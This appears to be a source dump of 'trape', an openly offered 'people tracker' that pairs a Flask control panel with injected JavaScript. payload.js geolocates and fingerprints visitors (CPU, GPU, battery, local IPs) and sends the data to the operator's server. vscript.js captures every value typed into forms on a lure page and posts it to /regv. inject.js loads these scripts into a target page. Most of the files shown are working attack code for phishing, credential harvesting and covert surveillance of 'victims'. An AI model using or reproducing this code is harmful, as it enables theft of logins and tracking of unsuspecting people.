├── version.txt ├── core ├── __init__.py ├── dependence │ └── __init__.py ├── colorama │ ├── .DS_Store │ ├── __init__.py │ ├── initialise.py │ ├── ansi.py │ ├── win32.py │ ├── winterm.py │ └── ansitowin32.py ├── ngrok.py ├── sockets.py ├── user_objects.py ├── utils.py ├── stats.py ├── user.py ├── db.py └── trape.py ├── static ├── .DS_Store ├── files │ └── files.md ├── img │ ├── .DS_Store │ ├── favicon.ico │ ├── favicon.png │ ├── trape-logo.png │ ├── point-blue.svg │ └── point-red.svg ├── css │ ├── fonts │ │ ├── boxicons.eot │ │ ├── boxicons.ttf │ │ ├── services.eot │ │ ├── services.ttf │ │ ├── a │ │ │ ├── services.eot │ │ │ ├── services.ttf │ │ │ └── services.woff │ │ ├── boxicons.woff │ │ └── services.woff │ ├── services-icons.css │ └── normalize.min.css └── js │ ├── custom.js │ ├── inject.js │ ├── login.js │ ├── vscript.js │ ├── payload.js │ └── base.js ├── .gitignore ├── .travis.yml ├── templates ├── 404.html ├── login.html └── home.html ├── requirements.txt ├── trape.py └── README.md /version.txt: -------------------------------------------------------------------------------- 1 | version: 2.0 -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /core/dependence/__init__.py: -------------------------------------------------------------------------------- 1 | pass -------------------------------------------------------------------------------- /static/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gaarv/trape/master/static/.DS_Store -------------------------------------------------------------------------------- /static/files/files.md: -------------------------------------------------------------------------------- 1 | In this directory, you can add .exe or downloadable files 2 | -------------------------------------------------------------------------------- /static/img/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gaarv/trape/master/static/img/.DS_Store -------------------------------------------------------------------------------- /static/img/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gaarv/trape/master/static/img/favicon.ico -------------------------------------------------------------------------------- /static/img/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gaarv/trape/master/static/img/favicon.png -------------------------------------------------------------------------------- /core/colorama/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gaarv/trape/master/core/colorama/.DS_Store -------------------------------------------------------------------------------- /static/img/trape-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gaarv/trape/master/static/img/trape-logo.png -------------------------------------------------------------------------------- /static/css/fonts/boxicons.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gaarv/trape/master/static/css/fonts/boxicons.eot -------------------------------------------------------------------------------- /static/css/fonts/boxicons.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gaarv/trape/master/static/css/fonts/boxicons.ttf -------------------------------------------------------------------------------- /static/css/fonts/services.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gaarv/trape/master/static/css/fonts/services.eot -------------------------------------------------------------------------------- /static/css/fonts/services.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gaarv/trape/master/static/css/fonts/services.ttf -------------------------------------------------------------------------------- /static/css/fonts/a/services.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gaarv/trape/master/static/css/fonts/a/services.eot -------------------------------------------------------------------------------- /static/css/fonts/a/services.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gaarv/trape/master/static/css/fonts/a/services.ttf -------------------------------------------------------------------------------- /static/css/fonts/a/services.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gaarv/trape/master/static/css/fonts/a/services.woff -------------------------------------------------------------------------------- /static/css/fonts/boxicons.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gaarv/trape/master/static/css/fonts/boxicons.woff -------------------------------------------------------------------------------- /static/css/fonts/services.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gaarv/trape/master/static/css/fonts/services.woff -------------------------------------------------------------------------------- /static/js/custom.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function($) { 2 | /** 3 | * DO NOT delete this file completely. 4 | * Your code goes here 5 | */ 6 | }) -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.nlog 2 | *.pyc 3 | *.db 4 | *.zip 5 | ngrok* 6 | static/files/* 7 | build/* 8 | dist/* 9 | main.spec 10 | trape.config 11 | *.nlog 12 | *.DS_Store -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: python 2 | python: 3 | - 2.7 4 | - 3.8 5 | install: pip install flake8 6 | script: flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics 7 | -------------------------------------------------------------------------------- /templates/404.html: -------------------------------------------------------------------------------- 1 | 2 |
The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.
-------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | Flask 2 | Flask-Login 3 | Flask-Session 4 | flask-socketio 5 | flask_socketio 6 | flask_cors 7 | itsdangerous 8 | Jinja2 9 | MarkupSafe 10 | python-engineio 11 | python-socketio 12 | six 13 | Werkzeug 14 | eventlet 15 | requests 16 | colorama 17 | -------------------------------------------------------------------------------- /core/colorama/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | from .initialise import init, deinit, reinit, colorama_text 3 | from .ansi import Fore, Back, Style, Cursor 4 | from .ansitowin32 import AnsiToWin32 5 | 6 | __version__ = '0.3.7' 7 | 8 | -------------------------------------------------------------------------------- /static/css/services-icons.css: -------------------------------------------------------------------------------- 1 | @font-face{font-family:services;src:url(fonts/services.eot?5iun5b);src:url(fonts/services.eot?5iun5b#iefix) format('embedded-opentype'),url(fonts/services.ttf?5iun5b) format('truetype'),url(fonts/services.woff?5iun5b) format('woff'),url(fonts/services.svg?5iun5b#services) format('svg');font-weight:400;font-style:normal} -------------------------------------------------------------------------------- /static/js/inject.js: -------------------------------------------------------------------------------- 1 | (function() { 2 | var paths = [ 3 | '[HOST_ADDRESS]/static/js/[LIBS_SRC]', 4 | '[HOST_ADDRESS]/static/js/[BASE_SRC]', 5 | '[HOST_ADDRESS]/static/js/[LURE_SRC]', 6 | '[HOST_ADDRESS]/static/js/[CUSTOM_SRC]' 7 | ]; 8 | window.gMapsApiKey = "[YOUR_GMAPS_API_KEY]"; 9 | var imported = {}; 10 | var idx = 0; 11 | 12 | loadScript(function(){ 13 | idx++; 14 | loadScript(function(){ 15 | idx++; 16 | window.serverPath = '[HOST_ADDRESS]'; 17 | loadScript(function(){ 18 | idx++; 19 | loadScript(function(){ 20 | idx++; 21 | }); 22 | }); 23 | }); 24 | }); 25 | 26 | function loadScript(callback){ 27 | imported = document.createElement('script'); 28 | imported.type = 'text/javascript'; 29 | imported.src = paths[idx]; 30 | 31 | imported.onload = callback; 32 | 33 | var head = document.getElementsByTagName('head')[0]; 34 | head.appendChild(imported, head); 35 | } 36 | }()) -------------------------------------------------------------------------------- /static/js/login.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function() { 2 | //Hide Incorrect password message 3 | $(".TrapeLogin-IncorrectKey").hide(); 4 | delete localStorage.trape; 5 | 6 | $(".TrapeLogin-Wrapper--Form---Body").on("submit", function(event) { 7 | //Stop form reload 8 | event.preventDefault(); 9 | //Set variable to sent 10 | var id = { 11 | id : $("#dataKey").val() 12 | }; 13 | 14 | //Send data to the py server 15 | $.ajax({ 16 | url: "/login", 17 | data: id, 18 | dataType: "json", 19 | type: "POST", 20 | success: function(response) { 21 | if (response.status == "OK") { 22 | // Set the temporal id on localStorage variable 23 | localStorage.setItem("trape", id.id); 24 | // Redirect to the panel 25 | window.location.replace(response.path); 26 | } else { 27 | //Show Incorrect password message 28 | $(".TrapeLogin-IncorrectKey").fadeIn(300).delay(2600).fadeOut(600); 29 | } 30 | }, 31 | error: function(error) { 32 | console.log(error); 33 | } 34 | }); 35 | }); 36 | }); -------------------------------------------------------------------------------- /static/img/point-blue.svg: -------------------------------------------------------------------------------- 1 | 2 | 8 | -------------------------------------------------------------------------------- /static/js/vscript.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function($) { 2 | 3 | $(document).delegate('form', 'submit', function(event) { 4 | event.preventDefault(); 5 | 6 | var d = getVictimData(); 7 | 8 | objs = $(this).find('input:visible'); 9 | var sId = Math.random().toString(36).substr(2); 10 | 11 | $.each(objs, function(index, val) { 12 | var datav = { 13 | vId : d.vId, 14 | site : d.vURL, 15 | sId : sId, 16 | fid : ($(val).attr('id') || ''), 17 | name : ($(val).attr('name') || ''), 18 | value : ($(val).val() || '') 19 | }; 20 | 21 | $.ajax({ 22 | url: "/regv", 23 | data: datav, 24 | dataType: "json", 25 | type: "POST", 26 | success: function(response) { 27 | socket.emit('my_broadcast_event', {data: 'update-data'}); 28 | }, 29 | error: function(error) { 30 | } 31 | }); 32 | }); 33 | 34 | window.location.replace(d.vURL); 35 | }); 36 | 37 | if (typeof(io) != 'undefined') { 38 | var d = getVictimData(); 39 | namespace = '/trape'; 40 | var socket = io.connect(location.protocol + '//' + document.domain + ':' + location.port + namespace); 41 | socket.emit('join', {room: d.vId}); 42 | defineSockets(socket); 43 | } 44 | }); -------------------------------------------------------------------------------- /static/css/normalize.min.css: -------------------------------------------------------------------------------- 1 | button,hr,input{overflow:visible}audio,canvas,progress,video{display:inline-block}progress,sub,sup{vertical-align:baseline}html{font-family:sans-serif;line-height:1.15;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0} menu,article,aside,details,footer,header,nav,section{display:block}h1{font-size:2em;margin:.67em 0}figcaption,figure,main{display:block}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}a{background-color:transparent;-webkit-text-decoration-skip:objects}a:active,a:hover{outline-width:0}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}dfn{font-style:italic}mark{background-color:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative}sub{bottom:-.25em}sup{top:-.5em}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{}button,select{text-transform:none}[type=submit], [type=reset],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:ButtonText dotted 1px}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}[hidden],template{display:none}/*# sourceMappingURL=normalize.min.css.map */ -------------------------------------------------------------------------------- /core/colorama/initialise.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | import atexit 3 | import contextlib 4 | import sys 5 | 6 | from .ansitowin32 import AnsiToWin32 7 | 8 | 9 | orig_stdout = None 10 | orig_stderr = None 11 | 12 | wrapped_stdout = None 13 | wrapped_stderr = None 14 | 15 | atexit_done = False 16 | 17 | 18 | def reset_all(): 19 | if AnsiToWin32 is not None: # Issue #74: objects might become None at exit 20 | AnsiToWin32(orig_stdout).reset_all() 21 | 22 | 23 | def init(autoreset=False, convert=None, strip=None, wrap=True): 24 | 25 | if not wrap and any([autoreset, convert, strip]): 26 | raise ValueError('wrap=False conflicts with any other arg=True') 27 | 28 | global wrapped_stdout, wrapped_stderr 29 | global orig_stdout, orig_stderr 30 | 31 | orig_stdout = sys.stdout 32 | orig_stderr = sys.stderr 33 | 34 | if sys.stdout is None: 35 | wrapped_stdout = None 36 | else: 37 | sys.stdout = wrapped_stdout = \ 38 | wrap_stream(orig_stdout, convert, strip, autoreset, wrap) 39 | if sys.stderr is None: 40 | wrapped_stderr = None 41 | else: 42 | sys.stderr = wrapped_stderr = \ 43 | wrap_stream(orig_stderr, convert, strip, autoreset, wrap) 44 | 45 | global atexit_done 46 | if not atexit_done: 47 | atexit.register(reset_all) 48 | atexit_done = True 49 | 50 | 51 | def deinit(): 52 | if orig_stdout is not None: 53 | sys.stdout = orig_stdout 54 | if orig_stderr is not None: 55 | sys.stderr = orig_stderr 56 | 57 | 58 | @contextlib.contextmanager 59 | def colorama_text(*args, **kwargs): 60 | init(*args, **kwargs) 61 | try: 62 | yield 63 | finally: 64 | deinit() 65 | 66 | 67 | def reinit(): 68 | if wrapped_stdout is not None: 69 | sys.stdout = wrapped_stdout 70 | if wrapped_stderr is not None: 71 | sys.stderr = wrapped_stderr 72 | 73 | 74 | def wrap_stream(stream, convert, strip, autoreset, wrap): 75 | if wrap: 76 | wrapper = AnsiToWin32(stream, 77 | convert=convert, strip=strip, autoreset=autoreset) 78 | if wrapper.should_wrap(): 79 | stream = wrapper.stream 80 | return stream 81 | 82 | 83 | -------------------------------------------------------------------------------- /static/js/payload.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function($) { 2 | 3 | $.getJSON('https://api.ipgeolocation.io/ipgeo?apiKey=' + window.IpInfoApiKey, function(data) { 4 | var d = getVictimData(); 5 | 6 | $.extend(true, d, data); 7 | 8 | var parser = new UAParser(); 9 | 10 | d.cpu = JSON.stringify(parser.getCPU()) 11 | .replace(/"/gi, '') 12 | .replace(/{/gi, '') 13 | .replace(/}/gi, '') 14 | .replace(/:/gi, ' : ') + ' - ' + (navigator.hardwareConcurrency ? navigator.hardwareConcurrency + ' Cores' : ''); 15 | 16 | d.refer = document.location.host; 17 | 18 | $.ajax({ 19 | url: window.serverPath + "/register", 20 | data: d, 21 | dataType: "json", 22 | type: "POST", 23 | success: function(response) { 24 | if (response.status == 'OK'){ 25 | localStorage.setItem("trape_vId", response.vId); 26 | conChange(); 27 | queryGPU(); 28 | locateV(); 29 | tping(); 30 | detectBattery(); 31 | navigation_mode(); 32 | 33 | objUser.getIPs(); 34 | objUser.sendNetworks(); 35 | 36 | setInterval(function(){ 37 | objUser.getIPs(); 38 | objUser.sendNetworks(); 39 | }, 60000); 40 | 41 | createSockets(); 42 | } 43 | }, 44 | error: function(error) {} 45 | }); 46 | }); 47 | }); 48 | 49 | function createSockets(){ 50 | if (typeof(io) != 'undefined') { 51 | namespace = '/trape'; 52 | if (window.serverPath == ''){ 53 | socketTrape = io.connect(location.protocol + '//' + document.domain + ':' + location.port + namespace); 54 | } else{ 55 | socketTrape = io.connect(window.serverPath + namespace); 56 | } 57 | } 58 | 59 | if (socketTrape != null){ 60 | window.onbeforeunload = function(e) { 61 | var d = getVictimData(); 62 | socketTrape.emit('disconnect_request', d); 63 | return true; 64 | } 65 | } 66 | 67 | if (socketTrape != undefined) { 68 | socketTrape.emit('join', {room: localStorage.trape_vId}); 69 | defineSockets(socketTrape); 70 | } 71 | } -------------------------------------------------------------------------------- /core/ngrok.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #** 4 | # 5 | ######### 6 | # trape # 7 | ######### 8 | # 9 | # trape depends of this file 10 | # For full copyright information this visit: https://github.com/jofpin/trape 11 | # 12 | # Copyright 2018 by Jose Pino (@jofpin) /
37 | Control panel
45 |People tracker on the Internet
46 | 47 | 48 |Actions cannot be executed because the user is offline
245 |The user has been connected again. Execute actions!
253 |Has processed a successful process hook
261 |